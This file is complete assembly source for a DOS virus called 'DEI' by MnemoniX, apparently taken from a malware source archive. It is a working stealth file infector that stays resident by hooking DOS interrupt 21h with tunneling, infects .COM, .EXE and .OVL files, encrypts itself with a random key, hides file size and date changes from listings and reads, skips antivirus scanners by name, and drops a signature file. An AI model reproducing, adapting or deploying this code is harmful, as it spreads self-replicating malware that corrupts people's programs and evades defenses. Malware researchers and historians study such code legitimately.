MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.dei.asm
2021-01-12 17:38:47 -06:00

961 lines
25 KiB
NASM

; =======================================================================>
PING equ 0BF1h ; a worthless DOS function
PONG equ 0DEAFh ; response to residency test
code segment
org 100h
assume cs:code,ds:code
start:
jmp virus_begin ; fake host program
db 26 dup (0)
virus_begin:
db 0BBh ; mov bx,
code_offset dw 0
db 0B0h ; mov al,
cipher db 0
decrypt:
db 02Eh ; cs:
decryptor_1: xor [bx],al
inc bx
shift_1: neg al
db 81h,0FBh ; cmp bx,
code_offset_2 dw 0
jbe decrypt
viral_code:
call $ + 3 ; BP is instruction ptr.
pop bp
sub bp,offset $ - 1
push ds es ; save segregs
jmp kill_sourcer ; mess with disassemblers
db 0E9h
kill_sourcer:
xor ah,ah ; create or delete the
int 1Ah ; \DEI.COM file at random
cmp dx,0FE00h ; times ...
jb dont_drop
call drop_program
jmp dont_delete
dont_drop:
cmp dx,0800h
ja dont_delete
call delete_program
dont_delete:
mov ax,PING ; residency test
int 21h
cmp bx,PONG ; if installed,
jne not_installed ; don't install again
jmp installed
not_installed:
mov ax,es ; install ourselves
dec ax ; in memory
mov ds,ax
sub word ptr ds:[3],(MEM_SIZE + 15) / 16 + 1
sub word ptr ds:[12h],(MEM_SIZE + 15) / 16 + 1
mov ax,ds:[12h] ; doing some calculations and
mov ds,ax ; a bit of manipulation to
sub ax,15 ; memory
mov es,ax ; ES points to our destiny
mov byte ptr ds:[0],'Z'
mov word ptr ds:[1],8
mov word ptr ds:[3],(MEM_SIZE + 15) / 16 + 1
push cs ; zopy it
pop ds
mov di,100h
mov cx,virus_end - start
lea si,[bp + start]
rep movsb
xor ax,ax
mov ds,ax
sub word ptr ds:[413h],7 ; allocate memory from BIOS
mov si,21h * 4 ; saving old interrupt 21
mov di,offset old_int_21 ; first
movsw
movsw
lea dx,[bp + int_1]
mov ds:[4],dx ; recursive tunneling -
mov ds:[6],cs ; trace through interrupt 21
push es
mov ah,52h ; get list of lists
int 21h ; for segment of DOS's int 21
mov ax,es
mov cs:[bp + int_21_seg],ax
pop es
mov [bp + our_es],es
mov ax,100h ; set trap flag
push ax
popf
mov ah,0Bh ; and send us down the tunnel
pushf
call dword ptr ds:[21h * 4]
xor ax,ax ; turn off trap flag
push ax
popf
mov word ptr ds:[si - 4],0 ; little anti-trace ...
mov ds:[si - 4],offset new_int_21
mov ds:[si - 2],es ; and set new interrupt 21
installed:
pop es ds
cmp cs:[bp + exe_flag],1 ; is this an .EXE file?
je exe_exit ; if so, exit as such
com_exit:
lea si,[bp + offset host] ; restore original header
mov di,100h
push di
mov cx,28
rep movsb
call reset_regs
ret ; and leave
exe_exit:
mov ax,ds
add ax,cs:[bp + exe_cs]
mov word ptr cs:[bp + jump_to + 2],ax
mov ax,cs:[bp + exe_ip]
mov word ptr cs:[bp + jump_to],ax
mov ax,ds
add ax,cs:[bp + exe_ss] ; restore original stack
cli
mov ss,ax
mov sp,cs:[bp + exe_sp]
call reset_regs ; reset registers
db 0EAh
jump_to dd 0
reset_regs:
mov si,100h
xor ax,ax
xor bx,bx
xor di,di
xor bp,bp
ret
; int 1 handler for tunneling.
int_21_seg dw 0 ; original int 21 segment
our_es dw 0 ; our ES
int_1:
push bp ; save registers used
mov bp,sp
push ax
mov ax,[bp + 4] ; SEGMENT of next instruction
push bp
call get_dest_seg ; get location pointer
get_dest_seg:
pop bp
cmp ax,cs:[bp - (get_dest_seg - int_21_seg)]
pop bp ; restore BP
jbe tunneled ; found, we're through
push ds si ; no, check next instruction
mov ds,ax
mov si,[bp + 2] ; OFFSET of next instruction
lodsb ; next instruction in AL
cmp al,0CFh ; IRET instruction?
je set_iret ; adjust accordingly
cmp al,09Dh ; POPF instruction?
je set_popf ; adjust
jmp flag_check_done ; never mind ...
tunneled: ; we're done ... save segment
push es si
call get_our_es
get_our_es:
pop si
mov si,cs:[si - (get_our_es - our_es)]
mov es,si
mov word ptr es:[old_int_21 + 2],ax
mov ax,[bp + 2] ; and offset
mov word ptr es:[old_int_21],ax
and [bp + 6],0FEFFh ; deinstall tunnel routine
pop si es
jmp exit
set_iret:
or [bp + 10],100h ; OFFSET of second interrupt
jmp flag_check_done ; call on stack (flags)
set_popf:
or [bp + 6],100h ; OFFSET of word before
; interrupt call on stack
flag_check_done:
pop si ds
exit:
pop ax bp
iret
; int 24 handler.
; DOS changes it back automatically.
new_int_24:
mov al,3 ; simple enough
iret
; ================================================>
; int 21 handler.
; trap 11h,12h,3Dh,3Fh,4Bh,4Eh,4Fh,6Ch, and 5700h
; ================================================>
int_21:
pushf
call dword ptr cs:[old_int_21]
ret
new_int_21:
cmp ax,PING ; are we checking on ourself?
je pass_signal ; yes, give the signal
cmp ax,4B00h ; program execution?
je execute ; uh - huh
cmp ah,11h ; directory stealth method 1
je dir_stealth_1 ; (hide from DIR listing)
cmp ah,12h
je dir_stealth_1
cmp ah,4Eh ; directory stealth method 2
je dir_stealth_2 ; (hide from ASCIIZ search)
cmp ah,4Fh
je dir_stealth_2
cmp ah,3Dh ; file open method 1
jne go_on
jmp file_open
go_on:
cmp ah,6Ch ; file open method 2
jne go_on_2
jmp file_open
go_on_2:
cmp ah,3Fh ; file read
jne go_on_3
jmp file_read
go_on_3:
cmp ax,5700h ; get date
jne int_21_exit
jmp fix_date
int_21_exit:
db 0EAh ; never mind ...
old_int_21 dd 0
pass_signal:
mov bx,PONG ; pass signal
jmp int_21_exit
execute:
call check_name
jc skip_infect ; don't infect if marked
call infect_ds_dx ; simple enough ...
skip_infect:
jmp int_21_exit
dir_stealth_1:
call int_21 ; do it
test al,al ; if al = -1
js cant_find ; then don't bother
push ax bx es ; check file for infection
mov ah,2Fh
int 21h
cmp byte ptr es:[bx],-1 ; check for extended FCB
jne no_ext_FCB
add bx,7
no_ext_FCB:
mov ax,es:[bx + 19h]
cmp ah,100 ; check years -
jb fixed ; if 100+, infected
ror ah,1
sub ah,100
rol ah,1
mov es:[bx + 19h],ax
sub word ptr es:[bx + 1Dh],VIRUS_SIZE + 28
sbb word ptr es:[bx + 1Fh],0
fixed:
pop es bx ax
cant_find:
iret
dir_stealth_2:
call int_21 ; perform file search
jnc check_file_2 ; if found, proceed
retf 2 ; nope, leave
check_file_2:
push ax bx si es
mov ah,2Fh ; find DTA
int 21h
mov ax,es:[bx + 18h]
cmp ah,100 ; check for infection marker
jb fixed_2
ror ah,1 ; fix up date
sub ah,100
rol ah,1
mov es:[bx + 18h],ax
sub word ptr es:[bx + 1Ah],VIRUS_SIZE + 28
sbb word ptr es:[bx + 1Ch],0
fixed_2:
pop es si bx ax ; done
clc
retf 2
file_open:
call try_infecting ; try to infect file
call int_21 ; open file
jc open_fail ; carry set, open failed
cmp ax,5 ; if handle is a device,
jb dont_bother ; don't bother with it
push ax bx di es
xchg ax,bx
push bx
mov ax,1220h ; get system file table
int 2Fh ; entry
nop ; anti-SCAN
mov bl,es:[di]
mov ax,1216h
int 2Fh
pop bx
call check_datestamp ; check datestamp
jb dont_stealth
cmp word ptr es:[di],1 ; if file has already
ja dont_stealth ; been opened, don't stealth
sub es:[di + 11h],VIRUS_SIZE + 28
sbb word ptr es:[di + 13h],0 ; stealth it ... change file
; size
dont_stealth:
pop es di bx ax ; restore everything
dont_bother:
clc
open_fail:
retf 2 ; and return
file_read:
cmp bx,5 ; if read from device,
jae check_it_out ; don't bother
jmp forget_it
check_it_out:
push si di es ax bx cx
push bx
mov ax,1220h ; get SFTs
int 2Fh
nop
mov bl,es:[di]
mov ax,1216h
int 2Fh
pop bx
call check_datestamp ; 100+ years
jae check_pointer ; is the magic number
jmp no_read_stealth
check_pointer:
cmp word ptr es:[di + 17h],0 ; if file pointer above 64K,
je check_pointer_2 ; then skip it
jmp no_read_stealth
check_pointer_2:
cmp word ptr es:[di + 15h],28 ; if file pointer under 28,
jae no_read_stealth ; then DON'T
push es:[di + 15h] ; save it
mov ah,3Fh
call int_21 ; do the read function
pop cx ; now find how many bytes
push ax ; (Save AX value)
sub cx,28 ; we have to change ...
neg cx ; and where
cmp ax,cx ; if more than 28 were read,
jae ok ; ok
xchg ax,cx ; otherwise, switch around
ok:
push ds cx dx
push es:[di + 15h] ; save current file pointer
push es:[di + 17h]
add es:[di + 11h],VIRUS_SIZE + 28
adc word ptr es:[di + 13h],0
mov ax,es:[di + 11h] ; fix up file size to prevent
sub ax,28 ; read past end of file
mov es:[di + 15h],ax
mov ax,es:[di + 13h]
mov es:[di + 17h],ax
push cs ; now read in real first 28
pop ds ; bytes
mov dx,offset read_buffer
mov cx,28
mov ah,3Fh
call int_21
sub es:[di + 11h],VIRUS_SIZE + 28
sbb word ptr es:[di + 13h],0
pop es:[di + 17h] ; restore file pointer
pop es:[di + 15h]
pop dx cx ds ; now we move our 28 bytes
push ds ; into theirs ...
pop es
mov di,dx
mov si,offset read_buffer
push cs
pop ds
rep movsb ; done
push es ; restore DS
pop ds
pop ax
pop cx bx es es di si
clc
retf 2
no_read_stealth:
pop cx bx ax es di si
forget_it:
jmp int_21_exit
fix_date:
call int_21 ; get date
jc an_error
cmp dh,100 ; if years > 100,
jb date_fixed ; fix it up
ror dh,1
sub dh,100
rol dh,1
date_fixed:
iret
an_error:
retf 2
; Called routines
; this routine checks for a .COM or .EXE file
try_infecting:
push di es cx ax
cmp ax,6C00h ; extended open fix
jne get_ext
xchg dx,si
get_ext:
mov di,dx ; find program extension
push ds
pop es
mov cx,64
mov al,'.'
repnz scasb
pop ax
jcxz let_it_be ; ... "ecch" ...
cmp [di],'OC' ; .COM file?
jne perhaps_exe ; maybe .EXE, then
cmp byte ptr [di + 2],'M'
jne let_it_be ; not program, don't infect
jmp yes_infect_it
perhaps_exe:
cmp [di],'XE' ; .EXE file?
jne one_more_try ; maybe ... .OVL?
cmp byte ptr [di + 2],'E'
jne let_it_be
jmp yes_infect_it
one_more_try:
cmp [di],'VO' ; .OVL file?
jne let_it_be
cmp byte ptr [di + 2],'L'
jne let_it_be
yes_infect_it:
call check_name ; don't infect forbidden
jc let_it_be ; programs
call infect_ds_dx
let_it_be:
cmp ah,6Ch ; extended open fixup
jne get_out
xchg dx,si
get_out:
pop cx es di
ret
; this routine checks the filename at DS:DX for certain 'bad' programs
check_name:
push ax cx es di
push ds ; find extension
pop es
mov di,dx
mov cx,64
mov al,'.'
repnz scasb
cmp word ptr [di - 3],'NA' ; SCAN or TBSCAN
jne pass_1
cmp word ptr [di - 5],'CS'
je av_prog
pass_1:
cmp word ptr [di - 3],'TO' ; Frisk's F-PRoT
jne pass_2
cmp word ptr [di - 5],'RP'
je av_prog
pass_2:
cmp word ptr [di - 3],'DN' ; COMMAND.COM
jne pass_3 ; ("Bad or Missing," etc.)
cmp word ptr [di - 5],'AM'
je av_prog
pass_3:
cmp word ptr [di - 5],'SA' ; MS-DOS's QBASIC
jne pass_4 ; ("Packed file is corrupt")
cmp word ptr [di - 7],'BQ'
je av_prog
pass_4:
clc ; passed the test
jmp check_complete
av_prog:
stc ; ack! *GAG* *boo* *hiss*
check_complete:
pop di es cx ax
ret
; this routine infects the file at DS:DX
infect_ds_dx:
push ax bx cx dx si di ds es
in al,21h ; some anti-trace
xor al,2
out 21h,al
xor al,2
out 21h,al
mov ax,3D00h ; read-only ... we'll change
call int_21 ; it later, but it won't trip
jnc hook_24 ; some AV monitors
jmp cant_open
hook_24:
xor bx,bx ; hook int 24h
mov ds,bx ; prevent write protect errors
mov ds:[24h * 4],offset new_int_24
mov ds:[24h * 4 + 2],cs
xchg bx,ax ; get system file tables
push bx
mov ax,1220h
int 2Fh
nop ; anti-SCAN
mov bl,es:[di]
mov ax,1216h
int 2Fh
pop bx
call check_datestamp ; if already infected,
jae dont_infect ; don't do it again
mov word ptr es:[di + 2],2 ; change mode to R/W
push cs ; read in 28 bytes of
pop ds ; our potential host ...
mov dx,offset read_buffer
mov cx,28
mov ah,3Fh ; (carefully avoiding
call int_21 ; our stealth routine)
cmp word ptr read_buffer,'ZM'
je infect_exe ; if .EXE, infect as one
mov exe_flag,0 ; infect as .COM
mov ax,es:[di + 11h] ; get file size
cmp ax,65279 - VIRUS_SIZE + 28
ja dont_infect ; don't infect; too big
cmp ax,28
jb dont_infect ; don't infect; too small
mov es:[di + 15h],ax ; move to end of file
; (I just love the SFTs ...)
call encrypt_and_write_virus ; encrypt the virus code
; then write it to the file
mov dx,offset read_buffer ; store original
mov cx,28 ; header
mov ah,40h
call int_21
mov word ptr es:[di + 15h],0 ; and lastly, back to
; the beginning of the file
mov dx,offset new_header ; to add the new header
mov ah,40h
mov cx,22 ; our header's only 22 bytesx
call int_21
mov cx,es:[di + 0Dh] ; fix date/time
mov dx,es:[di + 0Fh]
ror dh,1
add dh,100
rol dh,1
mov ax,5701h
call int_21
dont_infect:
mov ah,3Eh ; and close the file
call int_21
cant_open:
jmp infect_exit ; infection done; exit
infect_exe:
cmp word ptr read_buffer[24],'@'
jne not_windows
jmp infect_exit ; Windows .EXE, don't infect
not_windows:
cmp word ptr read_buffer[26],0
je not_overlay
jmp infect_exit ; overlay .EXE, don't infect
not_overlay:
mov exe_flag,1 ; infect as .EXE
push es di ; move original header
push cs ; into new header area
pop es
mov si,offset read_buffer
mov di,offset header_buffer
mov cx,28
rep movsb
pop di es
push es:[di + 11h] ; save file size on stack
push es:[di + 13h]
push word ptr read_buffer[22] ; CS ...
pop exe_cs
add exe_cs,10h ; (adjust)
push word ptr read_buffer[20] ; IP ...
pop exe_ip
push word ptr read_buffer[14] ; SS ...
pop exe_ss
add exe_ss,10h ; (adjust)
push word ptr read_buffer[16] ; and SP
pop exe_sp
pop dx ax ; now we calculate new CS:IP
push ax dx ; (save these for later)
push bx
mov cl,12 ; calculate offsets for CS
shl dx,cl ; and IP
mov bx,ax
mov cl,4
shr bx,cl
add dx,bx
and ax,15
pop bx
sub dx,word ptr read_buffer[8]
mov word ptr read_buffer[22],dx
mov word ptr read_buffer[20],ax
pop dx ax
add ax,VIRUS_SIZE + 28
adc dx,0
push ax dx
mov cl,4 ; create a stack segment
shr ax,cl
add ax,200
cmp ax,word ptr read_buffer[14]
jb no_new_stack ; if theirs is better, skip it
mov dx,-2 ; set SP to FFFE always
mov word ptr read_buffer[14],ax
mov word ptr read_buffer[16],dx
no_new_stack:
pop dx ax ; now calculate program size
mov cx,512 ; in pages
div cx ; then save results
inc ax
mov word ptr read_buffer[2],dx
mov word ptr read_buffer[4],ax
mov ax,4202h ; this is just easier
cwd ; than using the SFTs
xor cx,cx
call int_21
mov ax,word ptr read_buffer[20] ; get code offset
call encrypt_and_write_virus ; encrypt virus code
; and write it to the file
mov dx,offset header_buffer ; write original header
mov cx,28 ; to file
mov ah,40h
call int_21
mov word ptr es:[di + 15h],0
mov word ptr es:[di + 17h],0 ; back to beginning of file
mov dx,offset read_buffer ; and write new header to file
mov ah,40h
call int_21
mov cx,es:[di + 0Dh] ; fix date/time
mov dx,es:[di + 0Fh]
ror dh,1
add dh,100
rol dh,1
mov ax,5701h
call int_21
mov ah,3Eh ; close file
call int_21
infect_exit:
pop es ds di si dx cx bx ax ; done ... leave
ret
encrypt_and_write_virus:
push es di bx ax ; save code offset and SFT
mov bx,ax
xor ah,ah ; get random number from
int 1Ah ; system clock
mov cipher,dl ; and use it for encryption
pop ax ; fix up offset
cmp exe_flag,0
jne not_org_100h
add ax,100h
not_org_100h:
add ax,(viral_code - virus_begin)
mov ds:code_offset,ax
add ax,(virus_end - viral_code) - 1 ; second offset
mov ds:code_offset_2,ax
mov si,offset virus_begin
mov di,offset encrypt_buffer
push cs ; move decryption module
pop es
mov cx,viral_code - virus_begin
rep movsb
mov si,offset viral_code
mov cx,virus_end - viral_code
encrypt: ; now encrypt virus code
lodsb ; with a simple encryption
decryptor_2:
xor al,dl ; key ...
shift_2:
neg dl
stosb
loop encrypt
cmp exe_flag,0 ; if .COM file,
jne exe_infection
mov ax,bx
call create_header ; create unique header
exe_infection:
pop bx di es ; restore SFT
mov ah,40h ; wrte virus code to file
mov cx,VIRUS_SIZE
mov dx,offset encrypt_buffer
call int_21
ret
check_datestamp:
mov ax,es:[di + 0Fh] ; a little routine to
cmp ah,100 ; check timestamps
ret
drop_program:
lea dx,[bp + offset weirdo] ; this creates our
push ds ; little signature
push cs
pop ds
mov ah,3Ch
mov cx,3
int 21h
jc no_drop
xchg ax,bx
mov ah,40h
mov cx,(drop_me_end - drop_me)
lea dx,[bp + offset drop_me]
int 21h
mov ah,3Eh
int 21h
no_drop:
pop ds
ret
delete_program:
mov ah,41h
lea dx,[bp + offset weirdo]
push ds
push cs
pop ds
int 21h
pop ds
ret
create_header:
push ax
add ax,100h + (offset decrypt - offset virus_begin)
mov ds:mov_1,ax ; header
inc ax
inc ax
mov ds:mov_2,ax
xor ah,ah ; fill in useless MOVs
int 1Ah ; with random bytes
mov ds:mov_al,cl
mov ds:mov_ax,dx
push dx ; modify header a little ...
and cl,7 ; make things weirder ...
add cl,0B0h
mov ds:mov_reg,cl
and dl,3
add dl,0B8h
mov ds:mov_regx,dl
pop dx
push cs
pop es
mov di,offset encrypt_buffer
add di,offset decrypt - offset virus_begin
mov ax,dx ; now fill decryption module
neg ax ; with some garbage
stosw
rol ax,1
stosw
pop ax
sub ax,20 ; fix up JMP instruction
mov ds:new_jump,ax
ret ; done
new_header db 0C7h,06
mov_1 dw 00
db 2Eh
decryptor_3 db 30h ; first MOV
mov_reg db 0B0h
mov_al db 00 ; a nothing MOV bytereg,
db 0C7h,06
mov_2 dw 00
db 07,043h ; second MOV
mov_regx db 0B8h
mov_ax dw 00 ; a nothing MOV wordreg,
db 0E9h ; jump instruction
new_jump dw 0 ; virus offset
exe_flag db 0
exe_cs dw 0 ; EXE code/stack settings
exe_ip dw 0
exe_ss dw 0
exe_sp dw 0
drop_me:
mov ah,9 ; this program is dropped
mov dx,109h ; at random times within
int 21h ; the root directory as
int 20h ; \DEI.COM
sig db 'Devils & Evangels, Inc. '
db '[DEI] MnemoniX $',0
drop_me_end:
db 'v2.00'
weirdo db '\DEI.COM',0
virus_end:
host:
mov ah,4Ch ; fake host program
int 21h
VIRUS_SIZE equ virus_end - virus_begin
read_buffer db 28 dup (?)
header_buffer db 28 dup (?)
encrypt_buffer db VIRUS_SIZE dup (?)
end_heap:
MEM_SIZE equ end_heap - start
code ends
end start